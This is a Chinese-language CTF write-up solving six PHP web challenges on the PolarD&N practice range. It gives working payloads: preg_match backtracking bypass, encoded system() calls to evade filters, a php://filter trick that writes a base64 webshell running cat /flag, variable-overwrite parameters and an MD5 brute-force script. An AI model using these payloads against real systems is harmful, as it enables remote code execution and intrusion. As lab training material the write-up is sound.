PolarD&N靶场题解

#PolarD&N CTF靶场

web

1、swp

在这里插入图片描述
直接开扫,得到.index.php.swp文件,下载下来。vim -r .index.php.swp
PolarD&N靶场题解_第1张图片
绕过preg_match,preg_match回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。借此绕过areyouok。
payload如下

import requests 
from io import BytesIO
data=BytesIO(b'Baby PHP'+b'a'*1000000)
post_dict = {'greeting': data}

res=requests.post("http://xxx/",data=post_dict)
print (res.content)

2、简单rce

PolarD&N靶场题解_第2张图片
POST一个yyds=666,GET需要绕过过滤,注意末尾有个空格。

命令执行函数:

system()
passthru()
exec()
shell_exec()
popen()/proc_open()
未过滤passthru(),可使用该函数执行命令。

读文件命令

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看

空格替代
<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
payload1

sys=passthru(‘sort%09/flag’);

payload2

sys=“\163\171\163\164\145\155”(‘whoami’);

"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('whoami');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
.......


字符串转义绕过
适用PHP版本:PHP>=7

以八进制表示的\[07]{1,3}转义字符会自动适配byte(如"\400" == “\000”)
以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")
以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
payload3

var_dump(urlencode(~'system'));
var_dump(urlencode(~'cat /flag'));
?>

sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

3、到底给不给flag呢

PolarD&N靶场题解_第3张图片

GET,POST需要有一个满足key为flag的传参。并且value不能等于flag,foreach变量覆盖。
若想输出执行到最后输出flag,那么变量覆盖时候不能将 $flag 的值等于除 $flag 外的任意值,
也就是说在foreach内的变量覆盖过程,需要实现

$$key = $flag

$$value = $flag

$$key = $flag

payload如下
#GET参数
?flag=Polar
#POST参数
_GET[flag]=flag
代码执行过程如下

第一个foreach 循环处理$_POST数组,传值为_GET[flag]=flag,变量覆盖过程为

$$key = $value;

$key = "_GET";
var_dump($value);#array(1) { ["flag"]=> string(4) "flag" }
$$key = $value;#array(1) { ["flag"]=> string(4) "flag" }

此时注意GET数组的值,$ _GET["flag"]=Polar,而经过$_POST的变量覆盖,$ _GET =array(1) { ["flag"]=> string(4) "flag" } ,故而最开始传GET参数时?flag=xxx,可等于任意值。因为会被POST变量覆盖完成后的值覆盖。

第二个foreach 循环处理$_GET数组,变量覆盖过程为
$$key = $$value;

$key=flag;
$value=flag;
$$key=$$value;
$$key=$flag;
$flag=$flag;

即实现上述所说,

变量覆盖时候不能将 $flag 的值等于除 $flag 外的任意值

完成!

4、写shell

PolarD&N靶场题解_第4张图片
需要绕过exit(),网上很多,直接上payload

GET ?filename=php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php
POST content=?>PD9waHAgZWNobyhzeXN0ZW0oJ2NhdCAvZmxhZycpKTs=

大佬链接:https://xz.aliyun.com/t/8163/#toc-5

5、PHP是世界上最好的语言

PolarD&N靶场题解_第5张图片

原理同3、到底给不给flag呢 ,直接上payload

GET
?_POST[flag1]=8gen1&_POST[flag2]=8gen1

POST
504[SYS.COM=123&sys=echo $flag;

注意,在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。

6、veryphp

PolarD&N靶场题解_第6张图片
$str需要绕过正则,php://input 内容经过extract()处理后需要出现$shaw_root并且内容符合正则,得到提示。
正则在线网站:https://c.runoob.com/front-end/854/ 可自行调试。
直接上payload:

shaw root=-a9>>>>abcphp@Rs1
注意,变量名出现空格在上一题解释过

得到hint
Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

爆破脚本如下

for i in xrange(999999):
    mymd5 = hashlib.md5()
    mymd5.update('shaw'+str(i)+'root')
    mymd5 = mymd5.hexdigest()

    if mymd5 =='166b47a5cb1ca2431a0edfcef200684f':
            print i
            break
   

call_user_func()调用qwq类的oao()
payload如下

shaw root=-a9>>>>abcphp@Rs1&ans=21475&my ans=qwq::oao

你可能感兴趣的:(ctf,PolarD&N,网络安全)